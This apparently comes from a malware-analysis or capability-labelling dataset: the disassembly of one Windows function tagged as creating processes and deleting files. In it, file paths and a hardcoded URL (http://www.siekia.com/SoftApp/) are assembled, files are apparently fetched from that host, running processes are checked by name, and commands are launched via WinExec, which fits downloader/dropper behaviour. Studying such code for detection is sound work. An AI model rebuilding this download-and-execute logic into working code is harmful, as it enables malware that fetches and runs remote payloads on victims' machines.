Function at 0x4020b0
Capabilities:
Create process on windows
Delete file

Disassembly:
mov eax, dword [0x44aef0]
sub esp, 0x800
push ebx
push ebp
xor ebp, ebp
push esi
test eax, eax
push edi
jle 0x40226b
mov ebx, 0x42e5fc
or ecx, 0xffffffff
mov edi, 0x4479fc
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x414538
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x410]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.http:__www.siekia.com_SoftApp_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x410]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401f00
add esp, 4
test eax, eax
jne 0x4021c9
lea ecx, [esp + 0x10]
lea edx, [esp + 0x410]
push ecx
push edx
push eax
push eax
push eax
call fcn.00401160
add esp, 0x14
lea eax, [esp + 0x10]
push eax
call fcn.00402030
add esp, 4
test eax, eax
jne 0x402257
lea ecx, [esp + 0x10]
push str.ReDevMonitor
push ecx
call fcn.00407a70
add esp, 8
test eax, eax
jne 0x40221c
lea edx, [esp + 0x10]
push str.LogicStorageMon
push edx
call fcn.00407a70
add esp, 8
test eax, eax
jne 0x40221c
lea eax, [esp + 0x10]
push str.CAManager
push eax
call fcn.00407a70
add esp, 8
test eax, eax
je 0x40224a
mov edi, 0x4144e8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [0x44aef0]
inc ebp
add ebx, 0x400
cmp ebp, eax
jl 0x4020ce
mov eax, dword [0x44aee8]
xor ebp, ebp
test eax, eax
jle 0x40239c
mov ebx, 0x421dfc
or ecx, 0xffffffff
mov edi, 0x4479fc
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x414538
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x410]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.http:__www.siekia.com_SoftApp_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x410]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401f00
add esp, 4
test eax, eax
je 0x40236d
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x410]
push edx
push eax
push 0
push 0
push 0
call fcn.00401160
mov eax, dword [0x44aee8]
add esp, 0x14
inc ebp
add ebx, 0x400
cmp ebp, eax
jl 0x40227f
mov eax, dword [0x44aeec]
xor ebp, ebp
test eax, eax
jle 0x40254d
mov ebx, 0x4155fc
or ecx, 0xffffffff
mov edi, 0x4479fc
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x414538
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x410]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.http:__www.siekia.com_SoftApp_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x410]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401f00
add esp, 4
test eax, eax
jne 0x4024ab
lea ecx, [esp + 0x10]
lea edx, [esp + 0x410]
push ecx
push edx
push eax
push eax
push eax
call fcn.00401160
add esp, 0x14
lea eax, [esp + 0x10]
push eax
call fcn.00402030
add esp, 4
test eax, eax
jne 0x402539
lea ecx, [esp + 0x10]
push str.ReDevMonitor
push ecx
call fcn.00407a70
add esp, 8
test eax, eax
jne 0x4024fe
lea edx, [esp + 0x10]
push str.LogicStorageMon
push edx
call fcn.00407a70
add esp, 8
test eax, eax
jne 0x4024fe
lea eax, [esp + 0x10]
push str.CAManager
push eax
call fcn.00407a70
add esp, 8
test eax, eax
je 0x40252c
mov edi, 0x4144e8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [0x44aeec]
inc ebp
add ebx, 0x400
cmp ebp, eax
jl 0x4023b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x800
ret